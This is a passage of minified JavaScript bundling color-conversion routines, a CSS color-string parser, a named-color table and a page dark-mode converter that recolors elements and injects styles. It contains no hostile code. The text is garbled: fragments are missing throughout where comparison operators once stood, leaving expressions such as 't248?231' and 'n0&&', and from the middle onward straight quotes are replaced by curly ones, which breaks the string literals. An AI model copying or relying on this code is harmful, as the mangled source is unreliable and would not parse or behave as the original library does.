5:o=r,i=u,l=a}return[255*o,255*i,255*l]},i.cmyk.rgb=function(e){var t=e[0]/100,r=e[1]/100,n=e[2]/100,a=e[3]/100;return[255*(1-Math.min(1,t*(1-a)+a)),255*(1-Math.min(1,r*(1-a)+a)),255*(1-Math.min(1,n*(1-a)+a))]},i.xyz.rgb=function(e){var t,r,n,a=e[0]/100,o=e[1]/100,i=e[2]/100;return r=-.9689*a+1.8758*o+.0415*i,n=.0557*a+-.204*o+1.057*i,t=(t=3.2406*a+-1.5372*o+-.4986*i)>.0031308?1.055*Math.pow(t,1/2.4)-.055:12.92*t,r=r>.0031308?1.055*Math.pow(r,1/2.4)-.055:12.92*r,n=n>.0031308?1.055*Math.pow(n,1/2.4)-.055:12.92*n,[255*(t=Math.min(Math.max(0,t),1)),255*(r=Math.min(Math.max(0,r),1)),255*(n=Math.min(Math.max(0,n),1))]},i.xyz.lab=function(e){var t=e[0],r=e[1],n=e[2];return r/=100,n/=108.883,t=(t/=95.047)>.008856?Math.pow(t,1/3):7.787*t+16/116,[116*(r=r>.008856?Math.pow(r,1/3):7.787*r+16/116)-16,500*(t-r),200*(r-(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116))]},i.lab.xyz=function(e){var t,r,n,a=e[0];t=e[1]/500+(r=(a+16)/116),n=r-e[2]/200;var o=Math.pow(r,3),i=Math.pow(t,3),l=Math.pow(n,3);return r=o>.008856?o:(r-16/116)/7.787,t=i>.008856?i:(t-16/116)/7.787,n=l>.008856?l:(n-16/116)/7.787,[t*=95.047,r*=100,n*=108.883]},i.lab.lch=function(e){var t,r=e[0],n=e[1],a=e[2];return(t=360*Math.atan2(a,n)/2/Math.PI)<0&&(t+=360),[r,Math.sqrt(n*n+a*a),t]},i.lch.lab=function(e){var t,r=e[0],n=e[1];return t=e[2]/360*2*Math.PI,[r,n*Math.cos(t),n*Math.sin(t)]},i.rgb.ansi16=function(e){var t=e[0],r=e[1],n=e[2],a=1 in arguments?arguments[1]:i.rgb.hsv(e)[2];if(0===(a=Math.round(a/50)))return 30;var o=30+(Math.round(n/255)<<2|Math.round(r/255)<<1|Math.round(t/255));return 2===a&&(o+=60),o},i.hsv.ansi16=function(e){return i.rgb.ansi16(i.hsv.rgb(e),e[2])},i.rgb.ansi256=function(e){var t=e[0],r=e[1],n=e[2];return t===r&&r===n?t248?231:Math.round((t-8)/247*24)+232:16+36*Math.round(t/255*5)+6*Math.round(r/255*5)+Math.round(n/255*5)},i.ansi16.rgb=function(e){var t=e%10;if(0===t||7===t)return e>50&&(t+=3.5),[t=t/10.5*255,t,t];var r=.5*(1+~~(e>50));return[(1&t)*r*255,(t>>1&1)*r*255,(t>>2&1)*r*255]},i.ansi256.rgb=function(e){if(e>=232){var t=10*(e-232)+8;return[t,t,t]}var r;return e-=16,[Math.floor(e/36)/5*255,Math.floor((r=e%36)/6)/5*255,r%6/5*255]},i.rgb.hex=function(e){var t=(((255&Math.round(e[0]))<<16)+((255&Math.round(e[1]))<>16&255,n>>8&255,255&n]},i.rgb.hcg=function(e){var t,r=e[0]/255,n=e[1]/255,a=e[2]/255,o=Math.max(Math.max(r,n),a),i=Math.min(Math.min(r,n),a),l=o-i;return t=l<=0?0:o===r?(n-a)/l%6:o===n?2+(a-r)/l:4+(r-n)/l+4,t/=6,[360*(t%=1),100*l,100*(l<1?i/(1-l):0)]},i.hsl.hcg=function(e){var t=e[1]/100,r=e[2]/100,n=1,a=0;return(n=r<.5?2*t*r:2*t*(1-r))<1&&(a=(r-.5*n)/(1-n)),[e[0],100*n,100*a]},i.hsv.hcg=function(e){var t=e[1]/100,r=e[2]/100,n=t*r,a=0;return n0&&(n=t/r),[e[0],100*n,100*r]},i.hcg.hsl=function(e){var t=e[1]/100,r=e[2]/100*(1-t)+.5*t,n=0;return r>0&&r=.5&&r<1&&(n=t/(2*(1-r))),[e[0],100*n,100*r]},i.hcg.hwb=function(e){var t=e[1]/100,r=t+e[2]/100*(1-t);return[e[0],100*(r-t),100*(1-r)]},i.hwb.hcg=function(e){var t=e[1]/100,r=1-e[2]/100,n=r-t,a=0;return n<1&&(a=(r-n)/(1-n)),[e[0],100*n,100*a]},i.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},i.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},i.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},i.gray.hsl=i.gray.hsv=function(e){return[0,0,e[0]]},i.gray.hwb=function(e){return[0,100,e[0]]},i.gray.cmyk=function(e){return[0,0,0,e[0]]},i.gray.lab=function(e){return[e[0],0,0]},i.gray.hex=function(e){var t=255&Math.round(e[0]/100*255),r=((t<<16)+(t<<8)+t).toString(16).toUpperCase();return"000000".substring(r.length)+r},i.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},function(e,t,r){var n=r(1),a=r(4),o=Object.hasOwnProperty,i={};for(var l in n)o.call(n,l)&&(i[n[l]]=l);var s=e.exports={to:{},get:{}};function u(e,t,r){return Math.min(Math.max(t,e),r)}function c(e){var t=Math.round(e).toString(16).toUpperCase();return t.length<2?"0"+t:t}s.get=function(e){var t,r;switch(e.substring(0,3).toLowerCase()){case"hsl":t=s.get.hsl(e),r="hsl";break;case"hwb":t=s.get.hwb(e),r="hwb";break;default:t=s.get.rgb(e),r="rgb"}return t?{model:r,value:t}:null},s.get.rgb=function(e){if(!e)return null;var t,r,a,i=[0,0,0,1];if(t=e.match(/^#([a-f0-9]{6})([a-f0-9]{2})?$/i)){for(a=t[2],t=t[1],r=0;r<3;r++){var l=2*r;i[r]=parseInt(t.slice(l,l+2),16)}a&&(i[3]=parseInt(a,16)/255)}else if(t=e.match(/^#([a-f0-9]{3,4})$/i)){for(a=(t=t[1])[3],r=0;r<3;r++)i[r]=parseInt(t[r]+t[r],16);a&&(i[3]=parseInt(a+a,16)/255)}else if(t=e.match(/^rgba?\(\s*([+-]?\d+)(?=[\s,])\s*(?:,\s*)?([+-]?\d+)(?=[\s,])\s*(?:,\s*)?([+-]?\d+)\s*(?:[,|\/]\s*([+-]?[\d\.]+)(%?)\s*)?\)$/)){for(r=0;r<3;r++)i[r]=parseInt(t[r+1],0);t[4]&&(t[5]?i[3]=.01*parseFloat(t[4]):i[3]=parseFloat(t[4]))}else{if(!(t=e.match(/^rgba?\(\s*([+-]?[\d\.]+)\%\s*,?\s*([+-]?[\d\.]+)\%\s*,?\s*([+-]?[\d\.]+)\%\s*(?:[,|\/]\s*([+-]?[\d\.]+)(%?)\s*)?\)$/)))return(t=e.match(/^(\w+)$/))?"transparent"===t[1]?[0,0,0,0]:o.call(n,t[1])?((i=n[t[1]])[3]=1,i):null:null;for(r=0;r<3;r++)i[r]=Math.round(2.55*parseFloat(t[r+1]));t[4]&&(t[5]?i[3]=.01*parseFloat(t[4]):i[3]=parseFloat(t[4]))}for(r=0;r<3;r++)i[r]=u(i[r],0,255);return i[3]=u(i[3],0,1),i},s.get.hsl=function(e){if(!e)return null;var t=e.match(/^hsla?\(\s*([+-]?(?:\d{0,3}\.)?\d+)(?:deg)?\s*,?\s*([+-]?[\d\.]+)%\s*,?\s*([+-]?[\d\.]+)%\s*(?:[,|\/]\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:[eE][+-]?\d+)?)\s*)?\)$/);if(t){var r=parseFloat(t[4]);return[(parseFloat(t[1])%360+360)%360,u(parseFloat(t[2]),0,100),u(parseFloat(t[3]),0,100),u(isNaN(r)?1:r,0,1)]}return null},s.get.hwb=function(e){if(!e)return null;var t=e.match(/^hwb\(\s*([+-]?\d{0,3}(?:\.\d+)?)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:[eE][+-]?\d+)?)\s*)?\)$/);if(t){var r=parseFloat(t[4]);return[(parseFloat(t[1])%360+360)%360,u(parseFloat(t[2]),0,100),u(parseFloat(t[3]),0,100),u(isNaN(r)?1:r,0,1)]}return null},s.to.hex=function(){var e=a(arguments);return"#"+c(e[0])+c(e[1])+c(e[2])+(e[3]<1?c(Math.round(255*e[3])):"")},s.to.rgb=function(){var e=a(arguments);return e.length<4||1===e[3]?"rgb("+Math.round(e[0])+", "+Math.round(e[1])+", "+Math.round(e[2])+")":"rgba("+Math.round(e[0])+", "+Math.round(e[1])+", "+Math.round(e[2])+", "+e[3]+")"},s.to.rgb.percent=function(){var e=a(arguments),t=Math.round(e[0]/255*100),r=Math.round(e[1]/255*100),n=Math.round(e[2]/255*100);return e.length<4||1===e[3]?"rgb("+t+"%, "+r+"%, "+n+"%)":"rgba("+t+"%, "+r+"%, "+n+"%, "+e[3]+")"},s.to.hsl=function(){var e=a(arguments);return e.length=4&&1!==e[3]&&(t=”, “+e[3]),”hwb(“+e[0]+”, “+e[1]+”%, “+e[2]+”%”+t+”)”},s.to.keyword=function(e){return i[e.slice(0,3)]}},function(e,t,r){“use strict”;var n=r(5),a=Array.prototype.concat,o=Array.prototype.slice,i=e.exports=function(e){for(var t=[],r=0,i=e.length;r=0&&(e.splice instanceof Function||Object.getOwnPropertyDescriptor(e,e.length-1)&&”String”!==e.constructor.name))}},function(e,t,r){var n=r(2),a=r(8),o={};Object.keys(n).forEach((function(e){o[e]={},Object.defineProperty(o[e],”channels”,{value:n[e].channels}),Object.defineProperty(o[e],”labels”,{value:n[e].labels});var t=a(e);Object.keys(t).forEach((function(r){var n=t[r];o[e][r]=function(e){var t=function(t){if(null==t)return t;arguments.length>1&&(t=Array.prototype.slice.call(arguments));var r=e(t);if(“object”==typeof r)for(var n=r.length,a=0;a1&&(t=Array.prototype.slice.call(arguments)),e(t))};return”conversion”in e&&(t.conversion=e.conversion),t}(n)}))})),e.exports=o},function(e,t,r){“use strict”;e.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},function(e,t,r){var n=r(2);function a(e){var t=function(){for(var e={},t=Object.keys(n),r=t.length,a=0;a<r;a++)e[t[a]]={distance:-1,parent:null};return e}(),r=[e];for(t[e].distance=0;r.length;)for(var a=r.pop(),o=Object.keys(n[a]),i=o.length,l=0;l<i;l++){var s=o[l],u=t[s];-1===u.distance&&(u.distance=t[a].distance+1,u.parent=a,r.unshift(s))}return t}function o(e,t){return function(r){return t(e(r))}}function i(e,t){for(var r=[t[e].parent,e],a=n[t[e].parent][e],i=t[e].parent;t[i].parent;)r.unshift(t[i].parent),a=o(n[t[i].parent][i],a),i=t[i].parent;return a.conversion=r,a}e.exports=function(e){for(var t=a(e),r={},n=Object.keys(t),o=n.length,l=0;l<o;l++){var s=n[l];null!==t[s].parent&&(r[s]=i(s,t))}return r}},function(e,t,r){"use strict";r.r(t),r.d(t,"run",(function(){return ye})),r.d(t,"init",(function(){return me})),r.d(t,"convertBg",(function(){return ve})),r.d(t,"extend",(function(){return ke}));var n="(prefers-color-scheme: dark)",a="data_color_scheme_dark",o="".concat(1*new Date).concat(Math.round(10*Math.random())),i="data-darkmode-color-".concat(o),l="data-darkmode-bgcolor-".concat(o),s="data-darkmode-original-color-".concat(o),u="data-darkmode-original-bgcolor-".concat(o),c="data-darkmode-bgimage-".concat(o),h=window.getInnerHeight&&window.getInnerHeight()||window.innerHeight||document.documentElement.clientHeight,f=["TABLE","TR","TD","TH"],d=/ !important$/,g={hasInit:!1,begin:null,showFirstPage:null,error:null,mode:"",whitelist:{tagName:["MPCPS","IFRAME"]},needJudgeFirstPage:!0,delayBgJudge:!1,container:null,cssSelectorsPrefix:"",defaultLightTextColor:"#191919",defaultLightBgColor:"#fff",defaultDarkTextColor:"#a3a3a3",defaultDarkBgColor:"#191919",set:function(e,t,r){var n=t[r];switch(e){case"boolean":"boolean"==typeof n&&(this[r]=n);break;case"string":"string"==typeof n&&""!==n&&(this[r]=n);break;case"function":"function"==typeof n&&(this[r]=n);break;case"dom":n instanceof HTMLElement&&(this[r]=n)}}};function b(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function p(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function y(e,t){for(var r=0;r2&&void 0!==arguments[2])||arguments[2];(r?v:k).push(he.genCss(e,t.map((function(e){var t=e.key,r=e.value;return he.genCssKV(t,r)})).join(“”)))}}]),e}(),x=function(){function e(){p(this,e),b(this,”_plugins”,[]),b(this,”length”,0),b(this,”loopTimes”,0),b(this,”firstPageStyle”,””),b(this,”otherPageStyle”,””),b(this,”firstPageStyleNoMQ”,””),b(this,”otherPageStyleNoMQ”,””)}return m(e,[{key:”extend”,value:function(e){this._plugins.push(new(e(w))),this.length++}},{key:”emit”,value:function(e){for(var t=arguments.length,r=new Array(t>1?t-1:0),n=1;n<t;n++)r[n-1]=arguments[n];this._plugins.forEach((function(t){"function"==typeof t[e]&&t[e].apply(t,r)}))}},{key:"addCss",value:function(e){e?(this.firstPageStyle+=v.join(""),this.firstPageStyleNoMQ+=k.join("")):(this.otherPageStyle+=v.join(""),this.otherPageStyleNoMQ+=k.join(""))}},{key:"resetCss",value:function(){v=[],k=[]}}]),e}();function M(e){return(M="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function _(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function C(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var j=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),C(this,"_queue",[]),C(this,"_idx",0),this._prefix=t}var t,r,n;return t=e,(r=[{key:"push",value:function(e){var t="".concat(this._prefix).concat(this._idx++);e.classList.add(t),this._queue.push({el:e,className:t,updated:!g.delayBgJudge})}},{key:"forEach",value:function(e){var t=[];for(this._queue.forEach((function(r,n){r.updated&&(t.unshift(n),M(e)&&e(r.el))}));t.length;)this._queue.splice(t.shift(),1)}},{key:"update",value:function(e){this._queue.forEach((function(t){t.updated||Array.prototype.some.call(e,(function(e){return!(1!==e.nodeType||!e.classList.contains(t.className)||(t.el=e,t.updated=!0,0))}))}))}}])&&_(t.prototype,r),n&&_(t,n),Object.defineProperty(t,"prototype",{writable:!1}),e}();function P(e,t){for(var r=0;r=a.bottom||r.bottom=a.right||r.righte.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function E(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function T(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var N=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),T(this,"_firstPageStyle",""),T(this,"_otherPageStyle",""),T(this,"isFinish",!1)}var t,r,o;return t=e,(r=[{key:"genCssKV",value:function(e,t){return"".concat(e,": ").concat(t," !important;")}},{key:"genCss",value:function(e,t){return"".concat("dark"===g.mode?"html.".concat(a," "):"").concat(g.cssSelectorsPrefix&&"".concat(g.cssSelectorsPrefix," "),".").concat(e,"{").concat(t,"}")}},{key:"addCss",value:function(e,t){this[t?"_firstPageStyle":"_otherPageStyle"]+=e,se.addCss(t)}},{key:"writeStyle",value:function(e){!e&&de.isDarkmode&&(this.isFinish=!0);var t=(de.isDarkmode?[{target:this,key:["_firstPageStyle","_otherPageStyle"],needMediaQuery:!0}]:[]).concat([{target:se,key:["firstPageStyle","otherPageStyle"],needMediaQuery:!0},{target:se,key:["firstPageStyleNoMQ","otherPageStyleNoMQ"],needMediaQuery:!1}]).map((function(t){var r=t.target,a=O(t.key,2),o=a[0],i=a[1],l=t.needMediaQuery,s="";e?s=o:(r[i]=r[o]+r[i],r[o]="",s=i);var u=r[s];return u?(r[s]="","dark"!==g.mode&&l?"@media ".concat(n," {").concat(u,"}"):u):""})).join("");t&&document.head.insertAdjacentHTML("beforeend",'’.concat(t,””))}}])&&E(t.prototype,r),o&&E(t,o),Object.defineProperty(t,”prototype”,{writable:!1}),e}();function F(e,t){for(var r=0;re.length)&&(t=e.length);for(var r=0,n=new Array(t);r0&&void 0!==arguments[0]?arguments[0]:[];this._nodes=e}},{key:”get”,value:function(){var e=[];return this._nodes.length?(e=this._nodes,de.isDarkmode&&(this._nodes=[])):this._delayNodes.length?(e=this._delayNodes,this._delayNodes=[]):g.container&&(e=g.container.querySelectorAll(“*”)),e}},{key:”delay”,value:function(){var e=this;Array.prototype.forEach.call(this._nodes,(function(t){return e._delayNodes.push(t)})),this._nodes=[]}},{key:”hasDelay”,value:function(){return this._delayNodes.length>0}},{key:”addFirstPageNode”,value:function(e){this._firstPageNodes.push(e)}},{key:”showFirstPageNodes”,value:function(){this._firstPageNodes.forEach((function(e){return e.style.visibility=”visible”})),this.showFirstPage=!0}},{key:”emptyFirstPageNodes”,value:function(){this._firstPageNodes=[]}}])&&F(t.prototype,r),n&&F(t,n),Object.defineProperty(t,”prototype”,{writable:!1}),e}(),K=r(0),J=r.n(K),$=r(1),H=r.n($);function R(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var r=null==e?null:”undefined”!=typeof Symbol&&e[Symbol.iterator]||e[“@@iterator”];if(null==r)return;var n,a,o=[],i=!0,l=!1;try{for(r=r.call(e);!(i=(n=r.next()).done)&&(o.push(n.value),!t||o.length!==t);i=!0);}catch(e){l=!0,a=e}finally{try{i||null==r.return||r.return()}finally{if(l)throw a}}return o}(e,t)||U(e,t)||function(){throw new TypeError(“Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.”)}()}function Q(e){return function(e){if(Array.isArray(e))return G(e)}(e)||function(e){if(“undefined”!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e[“@@iterator”])return Array.from(e)}(e)||U(e)||function(){throw new TypeError(“Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.”)}()}function U(e,t){if(e){if(“string”==typeof e)return G(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return”Object”===r&&e.constructor&&(r=e.constructor.name),”Map”===r||”Set”===r?Array.from(e):”Arguments”===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?G(e,t):void 0}}function G(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function W(e,t){for(var r=0;r3?”rgba”:”rgb”,”(“).concat(r.toString(),”)”)}))},ne=function(e){if(!e||e.length=250)return e;if(u>this._maxLimitOffsetBrightness&&a=65)return e;if(a>=100){if(i[2]>50){i[2]=90-i[2];var c=J.a.hsl.apply(J.a,Q(i)).alpha(l);return this._adjustTextBrightness(c,t)}return ie(Math.min(this._maxLimitOffsetBrightness,a-65),o).alpha(l)}if(i[2]40||a>250?o=J.a.hsl(0,0,Math.min(100,100+this._defaultDarkBgColorHslBrightness-r[2])):a>190?o=ie(190,t).alpha(n):r[2]=.05&&t.removeAttribute(c),n=this._adjustBackgroundBrightness(e),!r.hasInlineColor){var s=t.getAttribute(i)||g.defaultLightTextColor,u=n||e,h=this._adjustBrightness(J()(s),t,{isTextColor:!0,parentElementBgColorStr:u});h.newColor?o+=he.genCssKV(“color”,h.newColor):o+=he.genCssKV(“color”,s)}}else if(r.isTextColor||r.isBorderColor){var f=r.parentElementBgColorStr||r.isTextColor&&t.getAttribute(l)||g.defaultDarkBgColor,d=J()(f);t.getAttribute(c)||(n=this._adjustTextBrightness(e,d),se.emit(“afterConvertTextColor”,t,{fontColor:n,bgColor:d}))}else r.isTextShadow&&(t.getAttribute(c)||(n=this._adjustBackgroundBrightness(e)));return{newColor:n&&e.toString()!==n.toString()&&n.alpha(a).rgb(),extStyle:o}}},{key:”_try”,value:function(e){try{return e()}catch(e){console.log(“An error occurred when running the dark mode conversion algorithm\n”,e),”function”==typeof g.error&&g.error(e)}}},{key:”convert”,value:function(e){var t=this;se.resetCss(),se.emit(“beforeConvertNode”,e);var r,n,a=””;if(this.isDarkmode){var o=e.nodeName;if(g.whitelist.tagName.indexOf(o)>-1)return””;var h,b,p=e.style,y=””,m=!1,v=!1,k=!1,w=(p.cssText&&p.cssText.split(“;”)||[]).map((function(e){var t=e.indexOf(“:”);return[e.slice(0,t).toLowerCase(),e.slice(t+1)].map((function(e){return(e||””).replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,””)}))})).filter((function(e){var t=R(e,2),r=t[0],n=t[1];return”color”===r?m=!0:/background/i.test(r)&&(v=!0,”background-position”===r?h=n:”background-size”===r&&(b=n)),(/background/i.test(r)||/^(-webkit-)?border-image/.test(r))&&/url\([^)]*\)/i.test(n)&&(k=!0),[“-webkit-border-image”,”border-image”,”color”,”background-color”,”background-image”,”background”,”border”,”border-top”,”border-right”,”border-bottom”,”border-left”,”border-color”,”border-top-color”,”border-right-color”,”border-bottom-color”,”border-left-color”,”-webkit-text-fill-color”,”-webkit-text-stroke”,”-webkit-text-stroke-color”,”text-shadow”].indexOf(r)>-1})).sort((function(e,t){var r=R(e,1)[0],n=R(t,1)[0];return”color”===r||”background-image”===r&&”background-color”===n||0===n.indexOf(“-webkit-text”)?1:-1}));f.indexOf(o)>-1&&!v&&this._try((function(){var t=function(e){var t=null;return Array.prototype.some.call(e.classList,(function(e){return!!z[e]&&(t=z[e],!0)})),t}(e);t||(t=e.getAttribute(“bgcolor”)),t&&(w.unshift([“background-color”,J()(t).toString()]),v=!0)})),”FONT”!==o||m||this._try((function(){var t=e.getAttribute(“color”);t&&(w.push([“color”,J()(t).toString()]),m=!0)}));var x=””,M=””,_=0;if(w.some((function(e,r){var n=R(e,2),a=n[0],o=n[1];return t._try((function(){if(0!==a.indexOf(“-webkit-text”))return _=r,!0;switch(a){case”-webkit-text-fill-color”:x=ae(o);break;case”-webkit-text-stroke”:var e=o.split(” “);2===e.length&&(M=ae(e[1]));break;case”-webkit-text-stroke-color”:M=ae(o)}return!1}))})),x&&(m?w[w.length-1]=[“-webkit-text-fill-color”,x]:(w.push([“-webkit-text-fill-color”,x]),m=!0)),_&&(w.splice(0,_),M&&w.unshift([“-webkit-text-stroke-color”,M])),w.forEach((function(r){var n=R(r,2),a=n[0],o=n[1];return t._try((function(){var r,n=o,f=!1,w=/^background/.test(a),x=”text-shadow”===a,M=[“-webkit-text-stroke-color”,”color”,”-webkit-text-fill-color”].indexOf(a),_=/^border/.test(a),C=/gradient/.test(o),j=[],P=””;if(o=re(o,C),Z.test(o)){if(C){for(var S=ee.exec(o);S;)j.push(S[0]),S=ee.exec(o);r=ne(j)}var A=0;o=o.replace(ee,(function(n){C&&(n=r,f=!0);var a=t._adjustBrightness(J()(n),e,{isBgColor:w,isTextShadow:x,isTextColor:M>-1,isBorderColor:_,hasInlineColor:m}),o=!k&&a.newColor;if(P+=a.extStyle,w||M>0){var h=w?l:i,d=w?u:s,b=o?o.toString():n;0===A&&I(e).forEach((function(e){var t=e.getAttribute(d)||g.defaultLightBgColor;e.setAttribute(h,b),e.setAttribute(d,t.split(“|”).concat(n).join(“|”)),w&&J()(b).alpha()>=.05&&e.getAttribute(c)&&e.removeAttribute(c)}))}return o&&(f=!0),A+=1,o||n})).replace(/\s?!\s?important/gi,””)}if(P&&(y+=P),!(e instanceof SVGElement)){var O=/^background/.test(a),B=/^(-webkit-)?border-image/.test(a);if((O||B)&&/url\([^)]*\)/i.test(o)){f=!0;var E=ne((e.getAttribute(u)||g.defaultLightBgColor).split(“|”));if(o=o.replace(/^(.*?)url\(([^)]*)\)(.*)$/i,(function(t){var r=t,n=””,o=””,i=””;return”1″!==e.getAttribute(c)&&I(e).forEach((function(e){return e.setAttribute(c,”1″)})),O?(r=”linear-gradient(“.concat(“rgba(0,0,0,0.2)”,”, “).concat(“rgba(0,0,0,0.2)”,”),”).concat(t),i=he.genCssKV(a,””.concat(r,”,linear-gradient(“).concat(E,”, “).concat(E,”)”)),h&&(n=”top left,”.concat(h),y+=he.genCssKV(“background-position”,””.concat(n)),i+=he.genCssKV(“background-position”,””.concat(n,”,top left”))),b&&(o=”100%,”.concat(b),y+=he.genCssKV(“background-size”,””.concat(o)),i+=he.genCssKV(“background-size”,””.concat(o,”,100%”))),ce.push(e,i)):!v&&ce.push(e,he.genCssKV(“background-image”,”linear-gradient(“.concat(“rgba(0,0,0,0.2)”,”, “).concat(“rgba(0,0,0,0.2)”,”),linear-gradient(“).concat(E,”, “).concat(E,”)”))),r})),!m){var T=ne((e.getAttribute(s)||g.defaultLightTextColor).split(“|”));y+=he.genCssKV(“color”,T),I(e).forEach((function(e){return e.setAttribute(i,T)}))}}}f&&(d.test(n)&&(p[a]=te(n)),C?ce.push(e,he.genCssKV(a,o)):y+=he.genCssKV(a,o))}))})),y){e.setAttribute(“data-style”,p.cssText);var C=””.concat(“js_darkmode__”).concat(this._idx++);e.classList.add(C),a+=y?he.genCss(C,y):””}r=e,n=””,Array.prototype.forEach.call(r.childNodes,(function(e){3===e.nodeType&&(n+=e.nodeValue.replace(/\s/g,””))})),n.length>0&&(g.delayBgJudge?ue.push(e):ce.contains(e,(function(e){a+=he.genCss(e.className,e.cssKV)})))}return se.emit(“afterConvertNode”,e),a}}])&&W(t.prototype,r),n&&W(t,n),Object.defineProperty(t,”prototype”,{writable:!1}),e}(),se=new x,ue=new j(“”.concat(“js_darkmode__”,”text__”)),ce=new A(“”.concat(“js_darkmode__”,”bg__”)),he=new N,fe=new V,de=new le,ge=new RegExp(“”.concat(“js_darkmode__”,”[^ ]+”),”g”),be=null,pe=function(e){var t=arguments.length>1&&void 